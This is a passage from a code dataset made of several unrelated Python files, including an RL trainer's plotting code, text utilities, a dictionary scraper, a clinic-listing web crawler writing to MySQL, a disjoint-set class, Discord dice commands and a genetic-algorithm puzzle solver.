logs[\"TimeSinceStart\"] = time_since_start\n\n        logs.update(last_log)\n\n        sys.stdout.flush()\n\n        for key, value in logs.items():\n            print('\\t{} : {}'.format(key, value))\n        print('Done logging...\\n\\n')\n\n\n    def dump_density_graphs(self, itr):\n        import matplotlib.pyplot as plt\n        self.fig = plt.figure()\n        filepath = lambda name: self.params['logdir']+'/curr_{}.png'.format(name)\n\n        num_states = self.agent.replay_buffer.num_in_buffer - 2\n        states = self.agent.replay_buffer.obs[:num_states]\n        if num_states <= 0: return\n        \n        H, xedges, yedges = np.histogram2d(states[:,0], states[:,1], range=[[0., 1.], [0., 1.]], density=True)\n        plt.imshow(np.rot90(H), interpolation='bicubic')\n        plt.colorbar()\n        plt.title('State Density')\n        self.fig.savefig(filepath('state_density'), bbox_inches='tight')\n        \n        plt.clf()\n        ii, jj = np.meshgrid(np.linspace(0, 1), np.linspace(0, 1))\n        obs = np.stack([ii.flatten(), jj.flatten()], axis=1)\n        density = self.agent.exploration_model.forward_np(obs)\n        density = density.reshape(ii.shape)\n        plt.imshow(density[::-1])\n        plt.colorbar()\n        plt.title('RND Value')\n        self.fig.savefig(filepath('rnd_value'))#, bbox_inches='tight')\n   \n        plt.clf()\n        exploration_values = self.agent.dqn.qa_values(obs).mean(-1)\n        exploration_values = exploration_values.reshape(ii.shape)\n        plt.imshow(exploration_values[::-1])\n        plt.colorbar()\n        plt.title('predicted Q value')\n        self.fig.savefig(filepath('predicted_q_value')) #, bbox_inches='tight')\n","sub_path":"expl_rnd/rl_trainer.py","file_name":"rl_trainer.py","file_ext":"py","file_size_in_byte":7310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"445858886","text":"# -*- coding: utf-8 -*-\nimport os\nimport string\nimport re\n\n\ndef read_file(path, skip_lines_num):\n    with open(path, 'r', encoding='utf-8') as f:\n        lines = [line.strip() for line in f.readlines()]\n    lines = lines[skip_lines_num:]\n    return lines\n\n\ndef write_file(path, write_data):\n    with open(path, 'w', encoding='utf-8') as writer:\n        writer.writelines(write_data)\n\n\ndef mkdir(path):\n    if not os.path.isdir(path):\n        os.mkdir(path)\n\n\ndef replace_punctuation(str):\n    punctuation_string = string.punctuation\n    for i in punctuation_string:\n        str = str.replace(i, \"$\" + i + \"$\")\n    return str\n\n\ndef remove_chinese_punctuation(line, strip_all=True):\n    # 漢字的範圍為”\\u4e00-\\u9fa5“，這個是用Unicode表示的，所以前面必須要加”u“\n    # 字元”r“的意思是表示忽略後面的轉義字元，這樣簡化了後面正則表示式裡每遇到一個轉義字元還得挨個轉義的麻煩\n    if strip_all:\n        rule = re.compile(r\"[^a-zA-Z0-9\\u4e00-\\u9fa5]\", re.U)\n        line = rule.sub('', line)\n    else:\n        punctuation = \"\"\"！？｡＂＃＄％＆＇（）＊＋－／：；＜＝＞＠［＼］＾＿｀｛｜｝～｟｠｢｣､、〃》「」『』【】〔〕〖〗〘〙〚〛〜〝〞〟〰〾〿–—‘'‛“”„‟…‧﹏\"\"\"\n        re_punctuation = \"[{}]+\".format(punctuation)\n        line = re.sub(re_punctuation, \"\", line)\n    return line.strip()\n\n\ndef remove_unknown_word(sentence):\n    unknow_list = \"、◦™‑•\"\n    sentence = sentence.replace(\"，\", \",\")\n    sentence = sentence.translate(str.maketrans('', '', unknow_list))\n    return sentence\n\n\ndef remove_items_in_list(test_list, item):\n    # remove the item for all its occurrences\n    test_list = list(filter(lambda x: x != item, test_list))\n    # print(test_list)\n    return test_list\n\n\ndef check_item_in_list(str, list):\n    result = \"notMatch\"\n    for target in list:\n        if target in str:\n            result = target\n    return result\n# test area\n# a=\"Type-(I) 2.48\"\n# print(replace_punctuation(a))\n\n# str=remove_unknown_word(\"、CD3、\")\n# print(str)\n","sub_path":"tool_box.py","file_name":"tool_box.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"266869434","text":"#!/usr/bin/python3\n#coding=utf-8\n\nimport urllib\nimport sys\nimport getopt\nfrom bs4 import BeautifulSoup\n\n\nclass dic():\n        def __init__(self, csv_filename=\"/home/bacon/Projects/small_projects/python/NGNG.csv\"):\n                self.wordlist = []\n                self.file_old = []\n                self.file_in = []\n                self.csv_file=csv_filename\n                self.csvlist = []\n                with open(self.csv_file,'r') as cfile:\n                    self.csvlist = cfile.readlines()\n                    for i in range(0,len(self.csvlist)-1):\n                        self.csvlist[i] = self.csvlist[i][:-1]\n                        self.csvlist[i] = self.csvlist[i].replace(\" \",\"\").replace(\"<\",\" \").replace(\"n.\",\"<br>n.\").replace(\"v.\",\"<br>v.\").replace(\"a.\",\"<br>adj.\").replace(\"adv.\",\"<br>adv.\")\n\n        def trans(self, word):\n                \"\"\"输入英语单词, 返回单词的翻译.翻译来自爱词霸\"\"\"\n                website = \"http://www.iciba.com/\"\n                url = website+word\n                html = urllib.request.urlopen(url).read().decode('utf-8')\n                soup = BeautifulSoup(html,\"lxml\")\n                cont = soup.find_all('ul')[1]\n                stst = \"\"\n                for tag in cont.find_all(class_=\"prop\"):\n                    tag.string = \"<br>\" + tag.string\n                for string in cont.stripped_strings:\n                    stst = stst + string\n                return stst.replace(\"\\n\",\"\").replace(\" \",\"\")\n\n        def  fileread(self, filename):\n            \"\"\"在文件中读取全部单词, 忽略有空格的行\"\"\"\n            with open(filename, 'r') as fi:\n                while 1:\n                    word = fi.readline().replace(\"\\n\", '')\n                    if not word:\n                        return -1\n                    else:\n                        self.file_in.append(word)   # 原文件, 列表\n                        if ' ' in word:\n                            self.wordlist.append(0) #行中有空格就加0\n                        else:\n                            self.wordlist.append(word)\n\n        def filewrite(self, filename, number=0):\n            \"\"\"输出\"\"\"\n            total = len(self.wordlist)   # 单词总数\n            i = 0      # 目前进度\n            iciba = 0 # 爱词霸查词数目\n            iciba_list = []\n            if number != 0:\n                with open(filename, 'r') as fi:\n                    self.file_old = fi.readlines()\n            with open(filename, \"w+\") as fi:\n                while 1:\n                    print(\"%d/%s\" % (i+1, total))\n                    if self.wordlist[i] != 0 and i >= number:\n                        wordin = self.find_in_csv(self.wordlist[i])\n                        if self.wordlist[i] == wordin:\n                            print(\"%d!\" % (i+1))\n                            iciba += 1\n                            iciba_list.append(i+1)\n                            fi.write(self.wordlist[i]+' '+self.trans(self.wordlist[i])+'\\n')\n                        else:\n                            fi.write(wordin)\n                    elif i >= len(self.file_old):\n                        fi.write(self.file_in[i])\n                    else:\n                        fi.write(self.file_old[i])\n                    i += 1\n                    sys.stdout.flush()\n                    if i == total:\n                        print(iciba,iciba_list)\n                        break\n\n        def find_in_csv(self, word):\n            lili = []       \n            for line in self.csvlist:\n                if word == line[0:len(word)] or word in line:\n                    lili.append(line)\n            for line in lili:\n                if word == line[0:len(word)] and line[len(word)] == ' ':\n                    return(line+'\\n')\n            for line in lili:\n                if word in line:\n                    return(line+'\\n')\n            if lili == []:\n                return(word)\n\n        def main(self, file_in, file_out, number):\n                \"\"\"单词表文件, 输出目标文件, 断点续输出行号\"\"\"\n                if file_in == '' or file_out == '':\n                        print(\"No file\")\n                        sys.exit()\n                self.fileread(file_in)\n                self.filewrite(file_out, number)\n\nopts, args = getopt.getopt(sys.argv[1:], \"hi:o:n:\")\ninput_file = \"\"\noutput_file = \"\"\ncontinue_number = 0\nfor op, value in opts:\n        if op == \"-i\":\n                input_file = value\n        elif op == \"-o\":\n                output_file = value\n        elif op == \"-n\":\n                continue_number = int(value)\n        elif op == \"-h\":\n                print(\"\"\"-i\\t输入文件\\n-o\\t输出文件\\n-n\\t断点续输出行号\\n-h\\t显示帮助\\n\"\"\")\n                sys.exit()\na = dic()\na.main(input_file, output_file, continue_number)\n","sub_path":"python/dic.py","file_name":"dic.py","file_ext":"py","file_size_in_byte":4814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"553223594","text":"import time\nfrom numpy.random import *\nimport urllib.request\nimport urllib.parse\nimport bs4\nimport pandas as pd\nimport os\nimport sys\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as ec\nimport codecs\nimport pickle\nimport re\nimport threading\nimport mysql.connector\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nfrom joblib import Parallel, delayed\nfrom contextlib import closing\nfrom concurrent.futures import ThreadPoolExecutor, as_completed, wait\n\nSTART_ID = 0\nEND_ID = 150000\n\nsys.setrecursionlimit(1000000)\nPATH = os.path.dirname(os.path.abspath(__file__))\nDB = 'db'\nCLINIC_TABLE = 'clinics'\nURL_STATUS_TABLE = 'url_status'\nCLINIC_STATUS_TABLE = 'clinic_status'\nURL_TABLE = 'urls'\nCLINIC_HTML_TABLE = 'clinic_html'\nTIMEOUT = 30\n\nTRAVEL_TIME_REPATTER = re.compile(r'[0-9]+.m')\n\nAREAS = pd.read_csv('../util/Pref-JP-EN.csv')\nBASE_URL = \"https://byoinnavi.jp\" # BASE_URL/todofuken/category_id\nPROCESS_LIMIT = 5\nTHREAD_NUM = 50\nserch_url_stack = []\n\ndef extract_clinic_url(soup):\n  res = []\n  clinic_list = soup.findAll('tr', {'class': 'clinic corp_opened'})\n\n  for clinic in clinic_list:\n    clinic_url = BASE_URL + clinic.findAll('div', {'class': 'clinic_title'})[0].findAll('a')[0].get('href')\n    res.append(clinic_url)\n  \n  return res\n\n\ndef extract_data(clinic):\n  name = clinic.findAll('span', {'itemprop': 'name'})[0].getText(strip=True)\n\n  disease_area = ''\n  if len(clinic.findAll('dd', {'class': 'corp-info-ext__curable-diseases'}))> 0:\n    disease_area = clinic.findAll('dd', {'class': 'corp-info-ext__curable-diseases'})[0].getText(strip=True)\n  \n  departments = clinic.findAll('td', {'class': 'clinic_info_cate'})[0].a\n  department = ''\n  for d in departments:\n    department += d.string + ','\n\n  nearest_station = ''\n  travel_time = ''\n  if len(clinic.findAll('div',{'class': 'clinic_map_memo word_break'}))> 0 and len(clinic.findAll('div',{'class': 'clinic_map_memo word_break'})[0].findAll('a')) > 0:\n    nearest_station = clinic.findAll('div',{'class': 'clinic_map_memo word_break'})[0].findAll('a')[0].getText(strip=True)\n    travel_time = TRAVEL_TIME_REPATTER.findall(clinic.findAll('div',{'class': 'clinic_map_memo word_break'})[0].getText(strip=True))[0]\n\n  area          = clinic.findAll('div', {'class': ['clinic_addr1', 'corp__address']})[0].findAll('span', {'itemprop': 'addressRegion'})[0].getText(strip   = True)\n  locality      = clinic.findAll('div', {'class': ['clinic_addr1', 'corp__address']})[0].findAll('span', {'itemprop':  'addressLocality'})[0].getText(strip = True)\n  streetAddress = clinic.findAll('div', {'class': ['clinic_addr1', 'corp__address']})[0].findAll('span', {'itemprop':  'streetAddress'})[0].getText(strip   = True)\n  addr = area + locality + streetAddress\n\n  tel = clinic.findAll('td', {'class': 'clinic_info_tel'})[0].getText(strip=True)\n  url = ''\n  if len(clinic.findAll('td', {'class': 'clinic_info_url'})) > 0:\n    url = clinic.findAll('td', {'class': 'clinic_info_url'})[0].findAll('a')[0].get('href')\n\n  #print('name: ' + name)\n  #print('addr: ' + addr)\n  #print('tel:  ' + tel)\n  #print('url:  ' + url)\n  #print('department: ' + department)\n  #print('disease_area: ' + disease_area)\n  #print('nearest_station: ' + nearest_station)\n  #print('travel_time: ' + travel_time)\n  #print('----------------------')\n  res = [name, area, addr, disease_area, department, nearest_station, travel_time, url]\n\n  return res\n\ndef get_browser():\n  # return webdriver.PhantomJS(service_args=None, service_log_path=os.path.devnull )\n  options = Options()\n  options.add_argument('--headless')\n  return webdriver.Chrome(chrome_options=options)\n\ndef download_html(browser, url):\n  print(\"downloading...\" + url)\n\n  browser.get(url)\n  html = browser.page_source.encode(\"utf-8\")\n\n  return html\n\ndef download(browser, url):\n  print(\"downloading...\" + url)\n\n  browser.get(url)\n  html = browser.page_source.encode(\"utf-8\")\n  soup = bs4.BeautifulSoup(html, \"lxml\")\n\n  next_page_url = get_next_page_url(soup)\n\n  return [soup, next_page_url]\n\ndef get_next_page_url(soup):\n  last_element = ''\n  if len(soup.findAll(\"div\", {\"class\": \"page_next\"})) > 0:\n    last_element = soup.findAll(\"div\", {\"class\": \"page_next\"})[0].findAll('a')[-1]\n  else:\n    return None\n\n  if last_element.getText(strip=True) == '>次へ':\n    return BASE_URL + last_element.get('href')\n  else:\n    return None\n\ndef print_date(date):\n  for key, val in date.items():\n    print(key + ': ' + val)\n\ndef insert_clinic_db(conn, data):\n  print(data)\n  c = conn.cursor()\n  sql = 'insert into ' + CLINIC_TABLE + ' (id, name, area, addr, disease_area, department, nearest_station, travel_time, url) values (%s,%s,%s,%s,%s,%s,%s,%s,%s)'\n  c.execute(sql, tuple(data))\n  conn.commit()\n\ndef insert_clinic_html_db(conn, id, html):\n  ##print(type(id))\n  #print(type(html))\n  c = conn.cursor()\n  sql = 'insert into ' + CLINIC_HTML_TABLE + ' (id, html, is_finished) values (%s,%s, 0) '\n  c.execute(sql, (id, html))\n  conn.commit()\n\ndef insert_url_list(conn, url_list):\n  c = conn.cursor()\n  for url in url_list:\n    sql = 'insert into urls(url, is_finished) values (%s, %s)'\n    c.execute(sql, [url, 0])\n    #print(url)\n  conn.commit()\n\ndef update_status_db(conn, area, page, is_finished):\n  data = [page, is_finished, area]\n  c = conn.cursor()\n  sql = 'update ' + URL_STATUS_TABLE + ' SET page = %s, is_finished = %s where id = %s'\n  c.execute(sql, data)\n  conn.commit()\n\ndef update_clinic_status_db(conn, id):\n  c = conn.cursor()\n  sql = 'update ' + CLINIC_STATUS_TABLE + ' SET progress = %s where id = %s'\n  c.execute(sql, [id, 1])\n  conn.commit()\n\ndef get_page(conn, area):\n  c = conn.cursor()\n  sql = 'select is_finished, page from ' + URL_STATUS_TABLE + ' where id = \\'' + area + '\\''\n  c.execute(sql)\n  data = c.fetchall()[0]\n  return data\n\ndef get_id(conn):\n  c = conn.cursor()\n  sql = 'select id from ' + CLINIC_STATUS_TABLE\n  c.execute(sql)\n  data = c.fetchall()[0][0]\n  #print(data)\n  return data\n\ndef get_url(conn, id):\n  c = conn.cursor()\n  sql = 'select url from ' + URL_TABLE + ' where id = %s'\n  c.execute(sql, [id])\n  data = c.fetchall()[0][0]\n  return data\n\ndef init_url_status_db(conn):\n  c = conn.cursor()\n  for i in range(0,47):\n    area = AREAS.iloc[i, 1].lower()\n    sql = 'insert into ' + URL_STATUS_TABLE + ' (id, page, is_finished) values (%s,%s,%s)'\n    c.execute(sql, (area, 1, 0))\n    conn.commit()\n\ndef init_url_status(conn, area):\n  c = conn.cursor(buffered=True)\n  sql = 'select * from ' + URL_STATUS_TABLE + ' where id = \\'' + area + '\\''\n  # sql = \"select * from url_status where id = 'ehime'\"\n  c.execute(sql)\n  if len(c.fetchall()) is 0:\n    sql = 'insert into ' + URL_STATUS_TABLE + ' (id, page, is_finished) values (%s,%s, %s)'\n    c.execute(sql, (area, 1, 0))\n    conn.commit()\n\ndef get_clinic_html(conn, id):\n  c = conn.cursor()\n  sql = 'select html from ' + CLINIC_HTML_TABLE + ' where id = %s'\n  c.execute(sql, [id])\n  data = c.fetchall()[0][0]\n  return data\n\ndef update_clinic_html_status(conn, id):\n  c = conn.cursor()\n  sql = 'update ' + CLINIC_HTML_TABLE + 'set is_finished = 1 where id = %s'\n  c.execute(sql, [id])\n  return\n\ndef get_clinic_url_list():\n  with closing(mysql.connector.connect(user='root', host='127.0.0.1', database=DB)) as conn:\n    c = conn.cursor(buffered=True)\n    sql = 'select id, url from ' + URL_TABLE + ' where is_finished = 0 and id >= %s and id < %s ;'\n    c.execute(sql, (START_ID, END_ID))\n    res = c.fetchall()\n    return res\n\ndef update_url_status_done(conn, id):\n  c = conn.cursor()\n  sql = 'update ' + URL_TABLE + ' SET is_finished = %s where id = %s'\n  c.execute(sql, [1, id])\n  conn.commit()\n    \n\n\ndef crawl_clinic_page(urls):\n  with closing(mysql.connector.connect(user='root', host='127.0.0.1', database=DB)) as conn:\n    #print(\"=== start sub thread  ===\")\n    browser = get_browser()\n    for url_data in urls:\n      id = url_data[0]\n      url = url_data[1]\n      #print(\"id, url: \" + str(id) + ', ' + url)\n      # time.sleep(0.001 * rand())\n      # soup,_ = download(browser, url)\n      # try:\n        # data = extract_data(soup)\n        # data.insert(0, id)\n        # print(data)\n        # insert_clinic_db(conn, data)\n      # except mysql.connector.errors.IntegrityError:\n      #   print(\"duplicarte key\")\n      data = download_html(browser, url)\n      insert_clinic_html_db(conn, id, data)\n\n      update_url_status_done(conn, id)\n\n    browser.quit()\n\ndef scrape_clinic_pages(ids):\n  with closing(mysql.connector.connect(user='root', host='127.0.0.1', database=DB)) as conn:\n    for id in ids:\n      html = get_clinic_html(conn, id)\n      soup = bs4.BeautifulSoup(html, \"lxml\")\n      data = extract_data(soup)\n      data.insert(0,id)\n      insert_clinic_db(conn, data)\n      update_clinic_html_status(conn, id)\n\ndef run(area):\n  with closing(mysql.connector.connect(user='root', host='127.0.0.1', database=DB)) as conn:\n    print(\"=== start sub thread for '\" + area + \"' ===\")\n    init_url_status(conn, area)\n    url = BASE_URL + '/' + area\n\n    is_finished, page = get_page(conn, area)\n    browser = get_browser()\n    # is_finished = 1 # for skip get URL LIST\n\n    # URL LIST \n    if is_finished is 0:\n      while True:\n        soup, next_page_url = download(browser, url + '?p=' + str(page))\n        insert_url_list(conn, extract_clinic_url(soup))\n\n        print(str(next_page_url))\n\n        if next_page_url is None:\n          update_status_db(conn, area, page, 1)\n          break\n        else:\n          page += 1\n          update_status_db(conn, area, page, 0)\n    \n    browser.quit()\n      \n      # # CLINIC DATA\n      # id = get_id(conn)\n      # while True:\n      #   url = get_url(conn, id)\n      #   if url is not None:\n      #     soup, _ = download(url)\n      #     insert_clinic_db(conn, extract_data(soup))\n\n      #     id += 1\n      #     print(id)\n      #     update_clinic_status_db(conn, id)\n      #   else:\n      #     break\n\ndef chunked(iterable, n):\n  return [iterable[x:x + n] for x in range(0, len(iterable), n)]\n\ndef clinic_crawl_process(url_list):\n  with ThreadPoolExecutor(max_workers=THREAD_NUM) as pool:\n    pool = ThreadPoolExecutor(max_workers=THREAD_NUM)\n    chunked_url_list = chunked(url_list, len(url_list)//THREAD_NUM)\n    print(len(chunked_url_list))\n\n    # for arr in chunked(url_list, THREAD_NUM):\n    res = pool.map(crawl_clinic_page, chunked_url_list)\n    wait(res)\n\n    print(\"submit end\")\n\n\nif __name__=='__main__':\n  print(\"=== main thread start ===\")\n  url_list = get_clinic_url_list()\n  chunked_url_list = chunked(url_list, len(url_list)//PROCESS_LIMIT)\n\n  # result = Parallel(n_jobs=-1)([delayed(run)(AREAS.iloc[i,1].lower())for i in range(0, 47)])\n  # result = Parallel(n_jobs=-1)([delayed(clinic_crawl_process)(chunked_url_list[i])for i in range(0, PROCESS_LIMIT)])\n  # result = Parallel(n_jobs=-1)([delayed(crawl_clinic_page)(chunked_url_list[i])for i in range(0, PROCESS_LIMIT)])\n  crawl_clinic_page(chunked_url_list[0])\n  # scrape_clinic_pages([1])\n\n\n  \n  print(\"=== main thread ended ===\")\n","sub_path":"20180228_byoinnavi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"479346770","text":"# <<BEGIN-copyright>>\n# Copyright 2022, Lawrence Livermore National Security, LLC.\n# See the top-level COPYRIGHT file for details.\n# \n# SPDX-License-Identifier: BSD-3-Clause\n# <<END-copyright>>\n\"\"\"\nDefines the NuclearPlusCoulombInterference class which is used to store the elastic scattering reaction for a protare\nwith a charged particle as the projectile where only the 'nuclear + interference' data are included.  Ergo, the \nRutherford scattering term is ignored. This reaction is equivalent to the ENDL C=9 reaction.\n\"\"\"\n\nfrom LUPY import ancestry as ancestryModule\n\nfrom .. import enums as enumsModule\nfrom .. import outputChannel as outputChannelModule\nfrom ..reactions import reaction as reactionModule\n\n\nclass NuclearPlusCoulombInterference( ancestryModule.AncestryIO ) :\n    \"\"\"\n    This class has only one member which is the 'nuclear + interference' reaction.\n    \"\"\"\n\n    moniker = 'nuclearPlusCoulombInterference'\n    ancestryMembers = ( 'reaction', )\n\n    def __init__(self, label):\n\n        ancestryModule.AncestryIO.__init__(self)\n\n        self.__reaction = reactionModule.Reaction(label, enumsModule.Genre.twoBody, 2)\n        self.__reaction.setAncestor( self )\n\n    @property\n    def reaction( self ) :\n\n        return( self.__reaction )\n\n    def toXML_strList( self, indent = '', **kwargs ) :\n\n        indent2 = indent + kwargs.get( 'incrementalIndent', '  ' )\n\n        XMLList = [ '%s<%s>' % ( indent, self.moniker ) ]\n        XMLList += self.__reaction.toXML_strList( indent2, **kwargs )\n        XMLList[-1] += '</%s>' % self.moniker\n\n        return( XMLList )\n\n    @classmethod\n    def parseNodeUsingClass(cls, node, xPath, linkData, **kwargs):\n\n        instance = cls(node[0].get('label'))\n        instance.reaction.parseNode(node[0], xPath, linkData, **kwargs)\n\n        return instance\n","sub_path":"fudge/processing/nuclearPlusCoulombInterference.py","file_name":"nuclearPlusCoulombInterference.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"9062091","text":"\n\nclass DisJointSet(object):\n    def __init__(self, n):\n        self.parent = []\n        self.rank = []\n        self.elements = n\n        self.make()\n\n    # Creates n sets with single item in each\n    def make(self):\n        # Initially, all elements are in their own set.\n        self.parent = [i for i in range(self.elements)]\n        self.rank = [0] * self.elements\n\n    # Returns representative of x's set\n    def find(self, x):\n        # Finds the representative of the set that x is an element of\n        if self.parent[x] != x:\n            # if x is not the parent of itself Then x is not the representative of his set,\n            # so we recursively call Find on its parent and move i's node directly under the\n            # representative of this set\n            self.parent[x] = self.find(self.parent[x])\n\n        return self.parent[x]\n\n    def union(self, x, y):\n        # Find representatives of two sets\n        x_root = self.find(x)\n        y_root = self.find(y)\n\n        # Elements are in the same set, no need to unite anything.\n        if x_root == y_root:\n            return\n\n        # If x's rank is less than y's rank\n        if self.rank[x_root] < self.rank[y_root]:\n            # Then move x under y  so that depth of tree remains less\n            self.parent[x_root] = self.parent[y_root]\n        # Else if y's rank is less than x's rank\n        elif self.rank[y_root] < self.rank[x_root]:\n            # Then move y under x so that depth of tree remains less\n            self.parent[y_root] = self.parent[x_root]\n        else: # if ranks are the same\n            # Then move y under x (doesn't matter which one goes where)\n            self.parent[y_root] = self.parent[x_root]\n            # And increment the the result tree's rank by 1\n            self.rank[x_root] += self.rank[y_root] + 1\n\n\ndus = DisJointSet(5)\n\n# 0 is a friend of 2\n# dus.union(0, 2)\n# 4 is a friend of 2\n# dus.union(4, 2)\n# 3 is a friend of 1\n# dus.union(3, 1)\n\n# Check if 4 is a friend of 0\n# is_friend = dus.find(4) == dus.find(0)\n\n# print(\"0 is friend of 4 {0}\".format(is_friend))\n\n# Check if 1 is a friend of 0\n\n# print(\"1 is friend of 0 {0}\".format(dus.find(1) == dus.find(0)))\n\n\n","sub_path":"python/disjoint_set/disjoint_set.py","file_name":"disjoint_set.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"185462647","text":"import random\nimport re\n\nfrom discord.ext import commands\n\n\nclass Dice(commands.Cog, name=\"骰子功能\"):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command()\n    async def roll(self, ctx, *args):\n        \"\"\"擲骰子\n\n        範例：\n        roll 3d6\n        roll 3d6+10 測試骰\"\"\"\n        try:\n            dice_string = args[0]\n            dice_comment = \" \".join(args[1:])\n            (total, rolls, modifier) = self._roll(dice_string)\n            response = \"{}\\nroll {}\".format(ctx.author.mention, dice_string)\n            if dice_comment:\n                response += \"\\n{}\".format(dice_comment)\n            response += \"\\n{} + ({}) = {}\".format(rolls, int(modifier), total)\n        except:\n            response = \"指令錯誤：\\n使用範例：roll 3d6+10 測試骰\"\n        await ctx.send(response)\n\n    @commands.command()\n    async def coc(self, ctx, *args):\n        \"\"\"coc 技能判定\n\n        範例：\n        coc 50\n        coc 50 聆聽\"\"\"\n        try:\n            dc = int(args[0])\n            comment = \" \".join(args[1:])\n            (total, rolls, modifier) = self._roll(\"1d100\")\n            if total <= 2:\n                result = \"大成功\"\n            elif total >= 99:\n                result = \"大失敗\"\n            elif total <= dc:\n                result = \"成功\"\n            else:\n                result = \"失敗\"\n            response = \"{}\\n{} (目標值：{}，擲骰結果：{})\".format(ctx.author.mention, result, dc, total)\n            if comment:\n                response += \"\\n{}\".format(comment)\n        except:\n            response = \"{}\\n指令錯誤：\\n使用範例：coc 50\"\n        await ctx.send(response)\n\n    def _roll(self, roll_string):\n        \"\"\"roll dice\n        Args:\n            (str) dice_string (example: \"1d20+4\")\n        Return:\n            (tuple)\n                - (int) sum - final result of rolls and modifier\n                - (list of int) rolls - dice roll results\n                - (str) modifier - parsed modifier\n        \"\"\"\n        matched_groups = re.match(\"(\\d+)d(\\d+)([\\+|\\-]\\d+)?\", roll_string)\n        dice_count = matched_groups.groups()[0]\n        dice_type = matched_groups.groups()[1]\n        dice_modifier = matched_groups.groups('+0')[2]  # use \"+0\" in default if not matched\n        dice_results = []\n        for _ in range(int(dice_count)):\n            dice_results.append(random.randint(1, int(dice_type)))\n        dice_sum = sum(dice_results) + int(dice_modifier)\n        return (dice_sum, dice_results, dice_modifier)\n","sub_path":"src/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"617700506","text":"\r\nimport unittest\r\n\r\nfrom Button import Button\r\n\r\nclass ButtonTest(unittest.TestCase):\r\n\r\n    def test_lamp_turn_on(self):\r\n        b = Button()\r\n        b.set_condition(True)\r\n        self.assertEqual(\"on\", b.lamp.state())\r\n\r\n    def test_poll(self):\r\n        self.fail(\"This test check Switch interface!\")\r\n\r\nif __name__ == \"__main__\": unittest.main()","sub_path":"dip/py/buttons/step_0/ButtonTest.py","file_name":"ButtonTest.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"433528836","text":"\ndef solution(arr):\n    answer = 1\n    tmp = dict()\n    arr.sort()\n    for i in arr:\n        cnt = 1\n        while 1:\n            if i in tmp:\n                cnt += tmp[i].pop()\n                if tmp[i] == []:\n                    tmp.pop(i)\n                i *= 2\n            else:\n                tmp[i] = [cnt]\n                break\n    answer = sorted(tmp.items(), key=lambda x: x[1])[-1][1]\n    return answer\n\n\nweights = [2,2,2,2,3,3,5,6]\nprint(solution(weights))\n","sub_path":"algo_py/kakao/tmp.py","file_name":"tmp.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"33782306","text":"from random import *\r\n\r\ndef product(_list):\r\n    result = 1\r\n    for number in _list:\r\n        result *= number\r\n    return result\r\n\r\ndef summ(_list):\r\n    result = 0\r\n    for number in _list:\r\n        result += number\r\n    return result\r\n\r\nclass Organism:\r\n    def __init__(self, chromosome=\"random\"):\r\n        if chromosome == \"random\":\r\n            self.chromosome = self.randomChromosome()\r\n        else:\r\n            self.chromosome = chromosome\r\n        \r\n        self.fitness = self.fitnessFunction()\r\n\r\n    def __str__(self):\r\n        return str(self.chromosome) + \" \" + str(self.fitness)\r\n\r\n    def cardNotation(self):\r\n        sumPile = \"\"\r\n        mulPile = \"\"\r\n\r\n        for gene in range(len(self.chromosome)):\r\n            if self.chromosome[gene] == 0:\r\n                sumPile += str(gene + 1) + \"+\"\r\n            else:\r\n                mulPile += str(gene + 1) + \"*\"\r\n\r\n        return sumPile[:-1] + \" = 36 \" + mulPile[:-1] + \" = 360\"\r\n\r\n    def fitnessFunction(self):\r\n        addGenes = []\r\n        mulGenes = []\r\n        \r\n        for gene in range(len(self.chromosome)):\r\n            if self.chromosome[gene] == 0:\r\n                addGenes.append(gene + 1)\r\n            else:\r\n                mulGenes.append(gene + 1)\r\n\r\n        addValue = summ(addGenes)\r\n        mulValue = product(mulGenes)\r\n\r\n        return (abs(36 - addValue) + abs(360 - mulValue))\r\n\r\n    def mutate(self):\r\n        mutatedGene = randint(0,9)\r\n\r\n        if self.chromosome[mutatedGene] == 0:\r\n            self.chromosome[mutatedGene] = 1\r\n        else:\r\n            self.chromosome[mutatedGene] = 0\r\n\r\n        self.update()\r\n\r\n    def randomChromosome(self):\r\n        result = []\r\n\r\n        for k in range(10):\r\n            result.append(randint(0,1))\r\n\r\n        return result\r\n\r\n    def update(self):\r\n        self.fitness = self.fitnessFunction()\r\n\r\nclass Population:\r\n    def __init__(self, size):\r\n        self.population = []\r\n        self.size = size\r\n        self.generation = 1\r\n\r\n        for k in range(size):\r\n            organism = Organism()\r\n            self.population.append(organism)\r\n\r\n    def __str__(self):\r\n        result = \"Generation \" + str(self.generation) + \"\\n\"\r\n\r\n        for organism in self.population:\r\n            result += str(organism) + \"\\n\"\r\n\r\n        return result\r\n\r\n    def advanceGeneration(self):\r\n        bestOrganism = self.bestOrganism()\r\n        print(self.generation, bestOrganism)\r\n\r\n        for organism in range(self.size):\r\n            newOrganism = Organism(bestOrganism.chromosome[:])\r\n            newOrganism.mutate()\r\n            self.population[organism] = newOrganism\r\n\r\n        self.generation += 1\r\n\r\n    def bestOrganism(self):\r\n        result = self.population[0]\r\n\r\n        for organism in self.population:\r\n            if organism.fitness < result.fitness:\r\n                result = organism\r\n\r\n        return result\r\n\r\n    def averageFitness(self):\r\n        result = 0\r\n\r\n        for organism in self.population:\r\n            result += 